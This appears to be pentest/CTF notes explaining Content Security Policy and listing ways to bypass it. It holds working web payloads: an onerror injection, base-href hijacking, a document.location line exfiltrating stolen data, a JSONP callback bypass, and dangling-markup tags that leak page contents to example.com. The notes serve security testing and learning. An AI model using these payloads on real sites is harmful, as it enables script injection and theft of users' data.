Content Security Policy (CSP)
The Content Security Policy (CSP) is a security mechanism designed to make XSS and other web client attacks harder.
- π We can block inline code execution (no onload/...)
- πΌοΈ We can configure the image policy (no external? whitelist? local?)
- π₯ We can configure the script policy (no external? whitelist? local?)
- π We can configure URLs that we can connect to (ex: fetch(URL))
- ...
We can either use curl -i URL
and manually inspect the CSP header and meta-tag or use Google CSP Evaluator.
Developers can allow some elements to bypass the CSP, such as one specific element allowed to load an external script using a nonce
.
<script nonce="some_nonce_here">/*inline code allowed*/</script>
β οΈ Nonce must be unique and not predictable for them to be useful.
π A great reference: Beyond XSS, CSP bypass (0.1k β). Maybe HTTPLeaks (2.0k β) can be handy too?
CSP Bypass
CSP policies may not be correctly configured and bypassed. Refer to XSS Malicious Code and XSS Filter Bypass for more details.
CSP Bypass β unsafe-inline
If unsafe-inline
is enabled, you can execute code using:
<img src=1 onerror="your_code_here" />
CSP Bypass β base-uri
If the CSP is lax enough, we may be able to inject a base-uri to an external website we control, allowing us to load files from our server.
<base href="https://example.com" target="_blank">
<img src="img/dummy.jpg"/>
<!-- https://example.com/img/dummy.jpg -->
CSP Bypass β connect-src 'none'
If connect-src
is none
, any external request will fail. Try:
document.location = 'URL/?param=' + <stolen_data>
(CTF-only)- Automatically submit a hidden form after injecting data inside. Refer to CSRF.
CSP Bypass β JSONP β script-src
JSONP was designed to ease the process of connecting an API with the website code: the developer can write code automatically executed after the API has been called within the URL β οΈ.
Well-known list of public JSONP APIs: JSONBee (0.7k β). Look if your CSP policy is lax enough to allow any of them to be loaded.
<!-- don't forget "defer" or "async" -->
<script defer src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);alert(2)"></script>
Dangling markup
When the CSP is too restrictive and the goal is only to extract some data from the page, we can use dangling markup.
In a nutshell, we insert a tag that will mess with the browser renderer and export the rest of the page to a endpoint we defined.
All of these in Firefox will result in a request to https://example.com/?<the rest of the HTML page here until the next quote>
.
<link rel="prefetch" href='https://example.com/?
<img src='https://example.com/?
<meta http-equiv="refresh" content="4; URL='https://example.com/?
<style>@import//example.com?
π Use either '
or "
according to the one that gives the largest range.
Chrome prevents HTTP URLs from containing HTML tags which reduce the number of payloads we can use. FTP didn't work.
The payload below doesn't work in recent versions of edge.
<body background='//example.com?
<table background='//example.com?
<thead background='//example.com?
<td background='//example.com?